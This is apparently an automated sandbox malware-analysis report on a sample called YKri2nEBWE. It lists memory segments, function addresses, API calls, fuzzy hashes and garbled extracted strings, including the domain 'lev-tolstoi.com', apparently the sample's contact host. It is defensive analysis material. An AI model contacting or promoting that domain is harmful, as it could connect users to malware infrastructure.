Associated: 00000000.00000002.2367606087.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367627589.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367644651.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367661684.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367678792.0000000000E7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367695815.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367712406.0000000000E84000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367729171.0000000000E85000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367746796.0000000000E89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367769950.0000000000E9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367786833.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367803218.0000000000EA3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367820720.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367838500.0000000000EAC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367855458.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367873504.0000000000EB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367948363.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F27000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368008632.0000000000F35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368026396.0000000000F36000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_YKri2nEBWE.jbxd

Similarity

API ID: String$Free$AllocBlanketInformationProxyVolume
String ID: :;$%$=hn$Jtuj$O^$SB$b{tu$gd$t"j
API String ID: 1773362589-1335595022
Opcode ID: 60cb9665a88011231d49cfe247d71dd2a8ef6093107ee8e6a00c700aaf0fa6ec
Instruction ID: 8a5da3e73508a8e6eccc1681e8ba1617d5dd1da5d70ecf42dde16cc26836b43f
Opcode Fuzzy Hash: 60cb9665a88011231d49cfe247d71dd2a8ef6093107ee8e6a00c700aaf0fa6ec
Instruction Fuzzy Hash: 36220376A183519BE310CF24C881B5BBBE2EFC5314F18C92CE5989B3A1D775D945CB82

Function 00C4B100 Relevance: 19.2, Strings: 15, Instructions: 425
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

D!M#, xrefs: 00C4B1F9
Ym]o, xrefs: 00C4B2B7
XyR{, xrefs: 00C4B2D5
S%U', xrefs: 00C4B203
pE}G, xrefs: 00C4B253
zMzO, xrefs: 00C4B267
b6j4, xrefs: 00C4B57D
(Y6[, xrefs: 00C4B285
Gu@w, xrefs: 00C4B2CB
9]_, xrefs: 00C4B28F
Gq\s, xrefs: 00C4B2C1
yQrS, xrefs: 00C4B271
hI2K, xrefs: 00C4B25D
k=W?, xrefs: 00C4B23F
.AtC, xrefs: 00C4B249

Memory Dump Source

Source File: 00000000.00000002.2367129117.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.2367109376.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367129117.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367181956.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367201902.0000000000CA1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367306642.0000000000DF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367327537.0000000000DFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367477803.0000000000E20000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367495237.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367512455.0000000000E2E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367528405.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367546835.0000000000E36000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367563170.0000000000E37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367584740.0000000000E4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367606087.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367627589.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367644651.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367661684.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367678792.0000000000E7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367695815.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367712406.0000000000E84000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367729171.0000000000E85000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367746796.0000000000E89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367769950.0000000000E9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367786833.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367803218.0000000000EA3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367820720.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367838500.0000000000EAC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367855458.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367873504.0000000000EB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367948363.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F27000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368008632.0000000000F35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368026396.0000000000F36000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_YKri2nEBWE.jbxd

Similarity

API ID:
String ID: (Y6[$.AtC$9]_$D!M#$Gq\s$Gu@w$S%U'$XyR{$Ym]o$b6j4$hI2K$k=W?$pE}G$yQrS$zMzO
API String ID: 0-620192811
Opcode ID: 6279985e86268586f9854b3ee5e25884d1ab70d32c8033864dcda767d7e737bb
Instruction ID: fe969d92d5163e64eb3cc7906ea627c1e37201d58dd074b7ccccfdcdb92203e0
Opcode Fuzzy Hash: 6279985e86268586f9854b3ee5e25884d1ab70d32c8033864dcda767d7e737bb
Instruction Fuzzy Hash: B70255B1200B01DFD724CF25D891B9BBBF1FB49314F108A2DE5AA8BAA0D775A845CF54

Function 00C4F60D Relevance: 16.6, APIs: 1, Strings: 8, Instructions: 845
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(?), ref: 00C4FDFC

Strings

g, xrefs: 00C4F9EA
m, xrefs: 00C4F8F4
x, xrefs: 00C4FBD4
6, xrefs: 00C4F620
w, xrefs: 00C4FAAD
#, xrefs: 00C4F721
\, xrefs: 00C4FB0F
=, xrefs: 00C4F978

Memory Dump Source

Source File: 00000000.00000002.2367129117.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.2367109376.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367129117.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367181956.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367201902.0000000000CA1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367306642.0000000000DF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367327537.0000000000DFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367477803.0000000000E20000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367495237.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367512455.0000000000E2E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367528405.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367546835.0000000000E36000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367563170.0000000000E37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367584740.0000000000E4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367606087.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367627589.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367644651.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367661684.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367678792.0000000000E7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367695815.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367712406.0000000000E84000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367729171.0000000000E85000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367746796.0000000000E89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367769950.0000000000E9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367786833.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367803218.0000000000EA3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367820720.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367838500.0000000000EAC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367855458.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367873504.0000000000EB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367948363.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F27000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368008632.0000000000F35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368026396.0000000000F36000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_YKri2nEBWE.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: #$6$=$\$g$m$w$x
API String ID: 237503144-139252074
Opcode ID: 8e266b8e69604b92f7f166f3ef458091561ee76a17e3f0ef0c907e5f984c114a
Instruction ID: 3930a15d1dfc1bb187ac17c4b7b2b5717e8102eba7fcf9a2ceec9b47670b03d2
Opcode Fuzzy Hash: 8e266b8e69604b92f7f166f3ef458091561ee76a17e3f0ef0c907e5f984c114a
Instruction Fuzzy Hash: 5E72A43261C7908BD324DA39C85539FBAD2ABD5324F198B3DE8E9C73D2D67489428743

Function 00C51227 Relevance: 16.5, APIs: 1, Strings: 8, Instructions: 750
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

F, xrefs: 00C5184E
L, xrefs: 00C51846
@, xrefs: 00C517D0
+, xrefs: 00C517CB
[, xrefs: 00C51555
>, xrefs: 00C516FF
`, xrefs: 00C513A4
), xrefs: 00C51A4D

Memory Dump Source

Source File: 00000000.00000002.2367129117.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.2367109376.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367129117.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367181956.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367201902.0000000000CA1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367306642.0000000000DF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367327537.0000000000DFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367477803.0000000000E20000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367495237.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367512455.0000000000E2E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367528405.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367546835.0000000000E36000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367563170.0000000000E37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367584740.0000000000E4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367606087.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367627589.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367644651.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367661684.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367678792.0000000000E7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367695815.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367712406.0000000000E84000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367729171.0000000000E85000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367746796.0000000000E89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367769950.0000000000E9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367786833.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367803218.0000000000EA3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367820720.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367838500.0000000000EAC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367855458.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367873504.0000000000EB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367948363.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F27000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368008632.0000000000F35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368026396.0000000000F36000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_YKri2nEBWE.jbxd

Similarity

API ID:
String ID: )$+$>$@$F$L$[$`
API String ID: 0-4163809010
Opcode ID: 96d1d40b8086f37221e3ec0b90644e6291773b22a3e71f59e285d240afbfac35
Instruction ID: 88a45051010b78b8bd19128971a5f12416e5e69d30dab42af2df123e8f4b22dd
Opcode Fuzzy Hash: 96d1d40b8086f37221e3ec0b90644e6291773b22a3e71f59e285d240afbfac35
Instruction Fuzzy Hash: B052A17660C7808BD324DB38C4953AFBBE1AB95320F194A2DECE9C73C1D63489859B47

Function 00C78EA0 Relevance: 15.3, Strings: 12, Instructions: 287
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

_, xrefs: 00C78F3C
^, xrefs: 00C78F41
], xrefs: 00C78F46
^, xrefs: 00C79191
], xrefs: 00C7905E
\, xrefs: 00C78F4B
_, xrefs: 00C79054
], xrefs: 00C79196
\, xrefs: 00C79063
\, xrefs: 00C7919B
^, xrefs: 00C79059
_, xrefs: 00C7918C

Memory Dump Source

Source File: 00000000.00000002.2367129117.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.2367109376.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367129117.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367181956.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367201902.0000000000CA1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367306642.0000000000DF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367327537.0000000000DFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367477803.0000000000E20000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367495237.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367512455.0000000000E2E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367528405.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367546835.0000000000E36000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367563170.0000000000E37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367584740.0000000000E4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367606087.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367627589.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367644651.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367661684.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367678792.0000000000E7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367695815.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367712406.0000000000E84000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367729171.0000000000E85000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367746796.0000000000E89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367769950.0000000000E9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367786833.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367803218.0000000000EA3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367820720.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367838500.0000000000EAC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367855458.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367873504.0000000000EB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367948363.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F27000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368008632.0000000000F35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368026396.0000000000F36000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_YKri2nEBWE.jbxd

Similarity

API ID:
String ID: \$\$\$]$]$]$^$^$^$_$_$_
API String ID: 0-1108506012
Opcode ID: 2705eebc883d9ba474ce5365f6ffd0fc3815efd1d8563c764a079af2cdd7e1cf
Instruction ID: 5023a0312d0e6b122eae2d21e0ab3ec6b9022052d92858a196ace507bc7001c7
Opcode Fuzzy Hash: 2705eebc883d9ba474ce5365f6ffd0fc3815efd1d8563c764a079af2cdd7e1cf
Instruction Fuzzy Hash: F3B1277264C7808BE3148A29CC8536FBFD297C5324F1D8B6DE5E9873C2C6B8C9858746

Function 00C4CE45 Relevance: 7.8, APIs: 1, Strings: 4, Instructions: 342
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoUninitialize.COMBASE ref: 00C4CE56

Strings

`{tu, xrefs: 00C4D1A8
lev-tolstoi.com, xrefs: 00C4D266
<1!9, xrefs: 00C4CF34
6=.), xrefs: 00C4CF3B

Memory Dump Source

Source File: 00000000.00000002.2367129117.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.2367109376.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367129117.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367181956.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367201902.0000000000CA1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367306642.0000000000DF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367327537.0000000000DFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367477803.0000000000E20000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367495237.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367512455.0000000000E2E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367528405.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367546835.0000000000E36000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367563170.0000000000E37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367584740.0000000000E4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367606087.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367627589.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367644651.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367661684.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367678792.0000000000E7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367695815.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367712406.0000000000E84000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367729171.0000000000E85000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367746796.0000000000E89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367769950.0000000000E9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367786833.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367803218.0000000000EA3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367820720.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367838500.0000000000EAC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367855458.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367873504.0000000000EB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367948363.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F27000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368008632.0000000000F35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368026396.0000000000F36000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_YKri2nEBWE.jbxd

Similarity

API ID: Uninitialize
String ID: 6=.)$<1!9$`{tu$lev-tolstoi.com
API String ID: 3861434553-1386727196
Opcode ID: 6b9cc2e30f9a6779b2f36d6a440f7664b509acd38744f4e99d26c0d0996f4e03
Instruction ID: 6e84ef37e08f398f748fc8a8c4fd8da496fa07e98d199b9ffa57821117b976d8
Opcode Fuzzy Hash: 6b9cc2e30f9a6779b2f36d6a440f7664b509acd38744f4e99d26c0d0996f4e03
Instruction Fuzzy Hash: 09A103B42057818FD726CF29C4D0662BFE2FF96310B18859CC8E24F76AD739A846CB51

Function 00C48600 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 356
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(00000000), ref: 00C48A4B

Part of subcall function 00C4B7B0: FreeLibrary.KERNEL32(00C48A31), ref: 00C4B7B6
Part of subcall function 00C4B7B0: FreeLibrary.KERNEL32 ref: 00C4B7D7

Strings

b]u), xrefs: 00C48877
}, xrefs: 00C4890C
}, xrefs: 00C48913

Memory Dump Source

Source File: 00000000.00000002.2367129117.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.2367109376.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
